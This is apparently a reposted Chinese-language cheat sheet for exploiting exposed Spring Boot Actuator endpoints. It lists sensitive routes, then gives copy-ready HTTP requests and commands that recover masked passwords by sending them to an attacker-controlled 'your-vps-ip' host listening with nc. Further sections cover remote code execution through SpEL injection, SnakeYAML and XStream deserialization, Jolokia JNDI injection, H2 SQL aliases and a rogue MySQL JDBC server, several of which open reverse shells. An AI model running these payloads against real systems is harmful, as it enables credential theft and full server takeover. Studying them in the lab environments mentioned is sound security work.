零:路由和版本
路由知識
- Spring Boot 1.x 版本默認內置路由的根路徑以 / 開始,2.x 則統一以 /actuator 開始
- 有些程式員會自定義 /manage、/management 或 專案相關名稱 為根路徑
- 默認內置路由名字,如 /env 有時候也會被程式員修改,如修改成 /appenv

版本知識
Spring Cloud 是基于 Spring Boot
來進行構建服務,并提供如配置管理、服務注冊與發現、智能路由等常見功能的幫助快速開發分布式系統的系列框架的有序集合,
常見組件的版本相互依賴關系:

Spring Cloud 與 Spring Boot 大版本之間的依賴關系:

Spring Cloud 小版本號的后綴及含義:


資訊泄露
路由地址及介面呼叫詳情泄漏【網安資料】
開發環境切換為線上生產環境時,相關人員沒有更改組態檔或忘記切換配置環境,導致此漏洞
直接訪問以下幾個路由,驗證漏洞是否存在:
/api-docs
/v2/api-docs
/swagger-ui.html
一些可能會遇到的介面路由變形:
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
除此之外,下面的路由有時也會包含(或推測出)一些介面地址資訊,但是無法獲得引數相關資訊:
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
一般來講,知道 spring boot 應用的相關介面和傳參資訊并不能算是漏洞;
但是可以檢查暴露的介面是否存在未授權訪問、越權或者其他業務型漏洞,
配置不當而暴露的路由
主要是因為程式員開發時沒有意識到暴露路由可能會造成安全風險,或者沒有按照標準流程開發,忘記上線時需要修改/切換生產環境的配置
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
其中對尋找漏洞比較重要介面的有:
- /env、/actuator/env
GET 請求 /env 會泄露環境變數資訊,或者配置中的一些用戶名,當程式員的屬性名命名不規范 (例如 password 寫成 psasword、pwd) 時,會泄露密碼明文;
同時有一定概率可以通過 POST 請求 /env 介面設定一些屬性,觸發相關 RCE 漏洞,
- /jolokia
通過 /jolokia/list 介面尋找可以利用的 MBean,觸發相關 RCE 漏洞;
- /trace
一些 http 請求包訪問跟蹤資訊,有可能發現有效的 cookie 資訊

獲取被星號脫敏的密碼的明文 (方法一)
訪問 /env 介面時,spring actuator 會將一些帶有敏感關鍵詞(如 password、secret)的屬性名對應的屬性值用
- 號替換達到脫敏的效果
利用條件:
- 目標網站存在 /jolokia 或 /actuator/jolokia 介面
- 目標使用了 jolokia-core 依賴(版本要求暫未知)
利用方法:
步驟一: 找到想要獲取的屬性名【網安資料】
GET 請求目標網站的 /env 或 /actuator/env 介面,搜索 ****** 關鍵詞,找到想要獲取的被星號 * 遮掩的屬性值對應的屬性名,
步驟二: jolokia 呼叫相關 Mbean 獲取明文
將下面示例中的 security.user.password 替換為實際要獲取的屬性名,直接發包;明文值結果包含在 response 資料包中的 value 鍵中,【網安資料】
- 呼叫 org.springframework.boot Mbean(可能更通用)
實際上是呼叫
org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar
類實體的 getProperty 方法
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
- 呼叫 org.springframework.cloud.context.environment Mbean(需要 spring
cloud 相關依賴)
實際上是呼叫
org.springframework.cloud.context.environment.EnvironmentManager 類實體的
getProperty 方法
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
獲取被星號脫敏的密碼的明文 (方法二)
訪問 /env 介面時,spring actuator 會將一些帶有敏感關鍵詞(如 password、secret)的屬性名對應的屬性值用
*號替換達到脫敏的效果
利用條件:
- 可以 GET 請求目標網站的 /env
- 可以 POST 請求目標網站的 /env
- 可以 POST 請求目標網站的 /refresh 介面重繪配置(存在 spring-boot-starter-actuator 依賴)
- 目標使用了 spring-cloud-starter-netflix-eureka-client 依賴
- 目標可以請求攻擊者的服務器(請求可出外網)
利用方法:
步驟一: 找到想要獲取的屬性名
GET 請求目標網站的 /env 或 /actuator/env 介面,搜索 ****** 關鍵詞,找到想要獲取的被星號 * 遮掩的屬性值對應的屬性名,【網安資料】
步驟二: 使用 nc 監聽 HTTP 請求
在自己控制的外網服務器上監聽 80 埠:
nc -lvk 80
步驟三: 設定 eureka.client.serviceUrl.defaultZone 屬性
將下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 換成自己想要獲取的對應的星號 * 遮掩的屬性名;
your-vps-ip 換成自己外網服務器的真實 ip 地址,
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
步驟四: 重繪配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
步驟五: 解碼屬性值
正常的話,此時 nc 監聽的服務器會收到目標發來的請求,其中包含類似如下 Authorization 頭內容:
Authorization: Basic dmFsdWU6MTIzNDU2
將其中的 dmFsdWU6MTIzNDU2部分使用 base64 解碼,即可獲得類似明文值 value:123456,其中的 123456 即是目標星號 * 脫敏前的屬性值明文,

獲取被星號脫敏的密碼的明文 (方法三)
訪問 /env 介面時,spring actuator 會將一些帶有敏感關鍵詞(如 password、secret)的屬性名對應的屬性值用
- 號替換達到脫敏的效果
利用條件:
- 通過 POST /env 設定屬性觸發目標對外網指定地址發起任意 http 請求
- 目標可以請求攻擊者的服務器(請求可出外網)
利用方法:
參考 UUUUnotfound 提出的 issue-1,可以在目標發外部 http 請求的程序中,在 url path 中利用占位符帶出資料
步驟一: 找到想要獲取的屬性名
GET 請求目標網站的 /env 或 /actuator/env 介面,搜索 ****** 關鍵詞,找到想要獲取的被星號 * 遮掩的屬性值對應的屬性名,【網安資料】
步驟二: 使用 nc 監聽 HTTP 請求
在自己控制的外網服務器上監聽 80 埠:
nc -lvk 80
步驟三: 觸發對外 http 請求
- spring.cloud.bootstrap.location 方法(同時適用于明文資料中有特殊 url 字符的情況):
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- eureka.client.serviceUrl.defaultZone 方法(不適用于明文資料中有特殊 url 字符的情況):
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
步驟四: 重繪配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh Content-Type: application/json

獲取被星號脫敏的密碼的明文 (方法四)
訪問 /env 介面時,spring actuator 會將一些帶有敏感關鍵詞(如 password、secret)的屬性名對應的屬性值用
- 號替換達到脫敏的效果
利用條件:
可正常 GET 請求目標 /heapdump 或 /actuator/heapdump 介面
利用方法:
步驟一: 找到想要獲取的屬性名
GET 請求目標網站的 /env 或 /actuator/env 介面,搜索 ****** 關鍵詞,找到想要獲取的被星號 * 遮掩的屬性值對應的屬性名,
步驟二: 下載 jvm heap 資訊
下載的 heapdump 檔案大小通常在 50M—500M 之間,有時候也可能會大于 2G
GET 請求目標的 /heapdump 或 /actuator/heapdump 介面,下載應用實時的 JVM 堆資訊
步驟三: 使用 MAT 獲得 jvm heap 中的密碼明文
參考 文章 方法,使用 Eclipse Memory Analyzer 工具的 OQL 陳述句 select * from org.springframework.web.context.support.StandardServletEnvironment, 輔助快速過濾分析,獲得密碼明文
遠程代碼執行
由于 spring boot 相關漏洞可能是多個組件漏洞組合導致的,所以有些漏洞名字起的不太正規,以能區分為準
whitelabel error page SpEL RCE
利用條件:
- spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 至少知道一個觸發 springboot 默認錯誤頁面的介面及引數名
利用方法:
步驟一:找到一個正常傳參處
比如發現訪問 /article?id=xxx ,頁面會報狀態碼為 500 的錯誤: Whitelabel Error Page,則后續 payload 都將會在引數 id 處嘗試,
步驟二:執行 SpEL 運算式
輸入 /article?id=${77} ,如果發現報錯頁面將 77 的值 49 計算出來顯示在報錯頁面上,那么基本可以確定目標存在 SpEL 運算式注入漏洞,
由字串格式轉換成 0x** java 位元組形式,方便執行任意代碼
# coding: utf-8
result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
執行 open -a Calculator 命令
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
漏洞原理:
- spring boot 處理引數值出錯,流程進入
org.springframework.util.PropertyPlaceholderHelper 類中 - 此時 URL 中的引數值會用 parseStringValue 方法進行遞回決議
- 其中 ${} 包圍的內容都會被
org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
類的 resolvePlaceholder 方法當作 SpEL 運算式被決議執行,造成 RCE 漏洞
漏洞分析:
? SpringBoot SpEL運算式注入漏洞-分析與復現
漏洞環境:
repository/springboot-spel-rce
正常訪問:
http://127.0.0.1:9091/article?id=66
執行 open -a Calculator 命令:
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
spring cloud SnakeYAML RCE
利用條件:
- 可以 POST 請求目標網站的 /env 介面設定屬性
- 可以 POST 請求目標網站的 /refresh 介面重繪配置(存在 spring-boot-starter-actuator 依賴)
- 目標依賴的 spring-cloud-starter 版本 < 1.3.0.RELEASE
- 目標可以請求攻擊者的 HTTP 服務器(請求可出外網)
利用方法:
步驟一: 托管 yml 和 jar 檔案
在自己控制的 vps 機器上開啟一個簡單 HTTP 服務器,埠盡量使用常見 HTTP 服務埠(80、443)
# 使用 python 快速開啟 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在網站根目錄下放置后綴為 yml 的檔案 example.yml,內容如下:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
在網站根目錄下放置后綴為 jar 的檔案 example.jar,內容是要執行的代碼,代碼撰寫及編譯方式參考 yaml-payload,【網安資料】
步驟二: 設定 spring.cloud.bootstrap.location 屬性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
步驟三: 重繪配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
漏洞原理:
- spring.cloud.bootstrap.location 屬性被設定為外部惡意 yml 檔案 URL 地址
- refresh 觸發目標機器請求遠程 HTTP 服務器上的 yml 檔案,獲得其內容
- SnakeYAML 由于存在反序列化漏洞,所以決議惡意 yml 內容時會完成指定的動作
- 先是觸發 java.net.URL 去拉取遠程 HTTP 服務器上的惡意 jar 檔案
- 然后是尋找 jar 檔案中實作 javax.script.ScriptEngineFactory 介面的類并實體化
- 實體化類時執行惡意代碼,造成 RCE 漏洞
漏洞分析:
? Exploit Spring Boot Actuator 之 Spring Cloud Env 學習筆記
漏洞環境:
repository/springcloud-snakeyaml-rce
正常訪問:
http://127.0.0.1:9092/env
eureka xstream deserialization RCE
利用條件:
- 可以 POST 請求目標網站的 /env 介面設定屬性
- 可以 POST 請求目標網站的 /refresh 介面重繪配置(存在 spring-boot-starter-actuator 依賴)
- 目標使用的 eureka-client < 1.8.7(通常包含在
spring-cloud-starter-netflix-eureka-client 依賴中) - 目標可以請求攻擊者的 HTTP 服務器(請求可出外網)
利用方法:
步驟一:架設回應惡意 XStream payload 的網站
提供一個依賴 Flask 并符合要求的 python 腳本示例,作用是利用目標 Linux 機器上自帶的 python 來反彈shell,
使用 python 在自己控制的服務器上運行以上的腳本,并根據實際情況修改腳本中反彈 shell 的 ip 地址和 埠號,
步驟二:監聽反彈 shell 的埠
一般使用 nc 監聽埠,等待反彈 shell
nc -lvp 443
步驟三:設定 eureka.client.serviceUrl.defaultZone 屬性【網安資料】
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
步驟四:重繪配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
漏洞原理:
- eureka.client.serviceUrl.defaultZone 屬性被設定為惡意的外部 eureka server URL
地址 - refresh 觸發目標機器請求遠程 URL,提前架設的 fake eureka server 就會回傳惡意的 payload
- 目標機器相關依賴決議 payload,觸發 XStream 反序列化,造成 RCE 漏洞
漏洞分析:
? Spring Boot Actuator從未授權訪問到getshell
漏洞環境:
repository/springboot-eureka-xstream-rce
正常訪問:
http://127.0.0.1:9093/env
jolokia logback JNDI RCE
利用條件:
- 目標網站存在 /jolokia 或 /actuator/jolokia 介面
- 目標使用了 jolokia-core 依賴(版本要求暫未知)并且環境中存在相關 MBean
- 目標可以請求攻擊者的 HTTP 服務器(請求可出外網)
- JNDI 注入受目標 JDK 版本影響,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
利用方法:
步驟一:查看已存在的 MBeans
訪問 /jolokia/list 介面,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 關鍵詞,
步驟二:托管 xml 檔案
在自己控制的 vps 機器上開啟一個簡單 HTTP 服務器,埠盡量使用常見 HTTP 服務埠(80、443)
# 使用 python 快速開啟 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目錄放置以 xml 結尾的 example.xml 檔案,內容如下:
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>
步驟三:準備要執行的 Java 代碼
撰寫優化過后的用來反彈 shell 的 Java 示例代碼 JNDIObject.java,
使用兼容低版本 jdk 的方式編譯:
javac -source 1.5 -target 1.5 JNDIObject.java
然后將生成的 JNDIObject.class 檔案拷貝到 步驟二 中的網站根目錄,
步驟四:架設惡意 ldap 服務
下載 marshalsec ,使用下面命令架設對應的 ldap 服務:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
步驟五:監聽反彈 shell 的埠
一般使用 nc 監聽埠,等待反彈 shell
nc -lv 443
步驟六:從外部 URL 地址加載日志組態檔
?? 如果目標成功請求了example.xml 并且 marshalsec 也接收到了目標請求,但是目標沒有請求
JNDIObject.class,大概率是因為目標環境的 jdk 版本太高,導致 JNDI 利用失敗,
替換實際的 your-vps-ip 地址訪問 URL 觸發漏洞:
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
漏洞原理:
- 直接訪問可觸發漏洞的 URL,相當于通過 jolokia 呼叫
ch.qos.logback.classic.jmx.JMXConfigurator 類的 reloadByURL 方法 - 目標機器請求外部日志組態檔 URL 地址,獲得惡意 xml 檔案內容
- 目標機器使用 saxParser.parse 決議 xml 檔案 (這里導致了 xxe 漏洞)
- xml 檔案中利用 logback 依賴的 insertFormJNDI 標簽,設定了外部 JNDI 服務器地址
- 目標機器請求惡意 JNDI 服務器,導致 JNDI 注入,造成 RCE 漏洞
漏洞分析:
? spring boot actuator rce via jolokia
漏洞環境:
repository/springboot-jolokia-logback-rce
正常訪問:
http://127.0.0.1:9094/env
jolokia Realm JNDI RCE
利用條件:
- 目標網站存在 /jolokia 或 /actuator/jolokia 介面
- 目標使用了 jolokia-core 依賴(版本要求暫未知)并且環境中存在相關 MBean
- 目標可以請求攻擊者的服務器(請求可出外網)
- JNDI 注入受目標 JDK 版本影響,jdk < 6u141/7u131/8u121(RMI 方式)
利用方法:
步驟一:查看已存在的 MBeans
訪問 /jolokia/list 介面,查看是否存在 type=MBeanFactory 和 createJNDIRealm 關鍵詞,
步驟二:準備要執行的 Java 代碼
撰寫優化過后的用來反彈 shell 的 Java 示例代碼 JNDIObject.java,
步驟三:托管 class 檔案
在自己控制的 vps 機器上開啟一個簡單 HTTP 服務器,埠盡量使用常見 HTTP 服務埠(80、443)
# 使用 python 快速開啟 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
將步驟二中編譯好的 class 檔案拷貝到 HTTP 服務器根目錄,
步驟四:架設惡意 rmi 服務
下載 marshalsec ,使用下面命令架設對應的 rmi 服務:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
步驟五:監聽反彈 shell 的埠
一般使用 nc 監聽埠,等待反彈 shell
nc -lvp 443
步驟六:發送惡意 payload
根據實際情況修改 springboot-realm-jndi-rce.py 腳本中的目標地址,RMI 地址、埠等資訊,然后在自己控制的服務器上運行,
漏洞原理:
- 利用 jolokia 呼叫 createJNDIRealm 創建 JNDIRealm
- 設定 connectionURL 地址為 RMI Service URL
- 設定 contextFactory 為 RegistryContextFactory
- 停止 Realm
- 啟動 Realm 以觸發指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞
漏洞分析:
? Yet Another Way to Exploit Spring Boot Actuators via Jolokia
漏洞環境:
repository/springboot-jolokia-logback-rce
正常訪問:
http://127.0.0.1:9094/env
h2 database query RCE
利用條件:
- 可以 POST 請求目標網站的 /env 介面設定屬性
- 可以 POST 請求目標網站的 /restart 介面重啟應用(存在 spring-boot-starter-actuator 依賴)
- 存在 com.h2database.h2 依賴(版本要求暫未知)
利用方法:
步驟一:設定 spring.datasource.hikari.connection-test-query 屬性
?? 下面payload 中的 ‘T5’ 方法每一次執行命令后都需要更換名稱 (如 T6) ,然后才能被重新創建使用,否則下次
restart 重啟應用時漏洞不會被觸發
spring 1.x(無回顯執行命令)
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x(無回顯執行命令)
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
步驟二:重啟應用
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
漏洞原理:
- spring.datasource.hikari.connection-test-query 屬性被設定為一條惡意的 CREATE
ALIAS 創建自定義函式的 SQL 陳述句 - 其屬性對應 HikariCP 資料庫連接池的 connectionTestQuery 配置,定義一個新資料庫連接之前被執行的 SQL
陳述句 - restart 重啟應用,會建立新的資料庫連接
- 如果 SQL 陳述句中的自定義函式還沒有被執行過,那么自定義函式就會被執行,造成 RCE 漏洞
漏洞分析:
? remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
漏洞環境:
repository/springboot-h2-database-rce
正常訪問:
http://127.0.0.1:9096/actuator/env
h2 database console JNDI RCE
利用條件:
- 存在 com.h2database.h2 依賴(版本要求暫未知)
- spring 配置中啟用 h2 console spring.h2.console.enabled=true
- 目標可以請求攻擊者的服務器(請求可出外網)
- JNDI 注入受目標 JDK 版本影響,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
利用方法:
步驟一:訪問路由獲得 jsessionid
直接訪問目標開啟 h2 console 的默認路由 /h2-console,目標會跳轉到頁面 /h2-console/login.jsp?jsessionid=xxxxxx,記錄下實際的 jsessionid=xxxxxx 值,
步驟二:準備要執行的 Java 代碼
撰寫優化過后的用來反彈 shell 的 Java 示例代碼 JNDIObject.java,
使用兼容低版本 jdk 的方式編譯:
javac -source 1.5 -target 1.5 JNDIObject.java
然后將生成的 JNDIObject.class 檔案拷貝到 步驟二 中的網站根目錄,
步驟三:托管 class 檔案
在自己控制的 vps 機器上開啟一個簡單 HTTP 服務器,埠盡量使用常見 HTTP 服務埠(80、443)
# 使用 python 快速開啟 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
將步驟二中編譯好的 class 檔案拷貝到 HTTP 服務器根目錄,
步驟四:架設惡意 ldap 服務
下載 marshalsec ,使用下面命令架設對應的 ldap 服務:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
步驟五:監聽反彈 shell 的埠
一般使用 nc 監聽埠,等待反彈 shell
nc -lv 443
步驟六:發包觸發 JNDI 注入
根據實際情況,替換下面資料中的 jsessionid=xxxxxx、www.example.com 和 ldap://your-vps-ip:1389/JNDIObject
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
漏洞分析:
? Spring Boot + H2資料庫JNDI注入
漏洞環境:
repository/springboot-h2-database-rce
正常訪問:
http://127.0.0.1:9096/h2-console

mysql jdbc deserialization RCE
利用條件:
- 可以 POST 請求目標網站的 /env 介面設定屬性
- 可以 POST 請求目標網站的 /refresh 介面重繪配置(存在 spring-boot-starter-actuator 依賴)
- 目標環境中存在 mysql-connector-java 依賴
- 目標可以請求攻擊者的服務器(請求可出外網)
利用方法:
步驟一:查看環境依賴
GET 請求 /env 或 /actuator/env,搜索環境變數(classpath)中是否有 mysql-connector-java 關鍵詞,并記錄下其版本號(5.x 或 8.x);
搜索并觀察環境變數中是否存在常見的反序列化 gadget 依賴,比如 commons-collections、Jdk7u21、Jdk8u20 等;
搜索 spring.datasource.url 關鍵詞,記錄下其 value 值,方便后續恢復其正常 jdbc url 值,
步驟二:架設惡意 rogue mysql server
在自己控制的服務器上運行 springboot-jdbc-deserialization-rce.py 腳本,并使用 ysoserial 自定義要執行的命令:
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
在腳本同目錄下生成 payload.ser 反序列化 payload 檔案,供腳本使用,
步驟三:設定 spring.datasource.url 屬性
?? 修改此屬性會暫時導致網站所有的正常資料庫服務不可用,會對業務造成影響,請謹慎操作!
mysql-connector-java 5.x 版本設定屬性值為:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x 版本設定屬性值為:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.url=對應屬性值
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"對應屬性值"}
步驟四:重繪配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
步驟五:觸發資料庫查詢
嘗試訪問網站已知的資料庫查詢的介面,例如: /product/list ,或者尋找其他方式,主動觸發源網站進行資料庫查詢,然后漏洞會被觸發
步驟六:恢復正常 jdbc url
反序列化漏洞利用完成后,使用 步驟三 的方法恢復 步驟一 中記錄的 spring.datasource.url 的原始 value 值
漏洞原理:
- spring.datasource.url 屬性被設定為外部惡意 mysql jdbc url 地址
- refresh 重繪后設定了一個新的 spring.datasource.url 屬性值
- 當網站進行資料庫查詢等操作時,會嘗試使用惡意 mysql jdbc url 建立新的資料庫連接
- 然后惡意 mysql server 就會在建立連接的合適階段回傳反序列化 payload 資料
- 目標依賴的 mysql-connector-java 就會反序列化設定好的 gadget,造成 RCE 漏洞
漏洞分析:
? New-Exploit-Technique-In-Java-Deserialization-Attack
漏洞環境:
需要配置 application.properties 中的
spring.datasource.url、spring.datasource.username、spring.datasource.password,保證可以正常連上
mysql 資料庫,否則程式啟動時就會報錯退出
repository/springboot-mysql-jdbc-rce
正常訪問:
http://127.0.0.1:9097/actuator/env
發送完 payload 后觸發漏洞:
http://127.0.0.1:9097/product/list
最后!!!
我整理了相關的資料與工具,有需要的朋友可以關注+私我哦!!!
【資料詳細】

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294396.html
標籤:其他
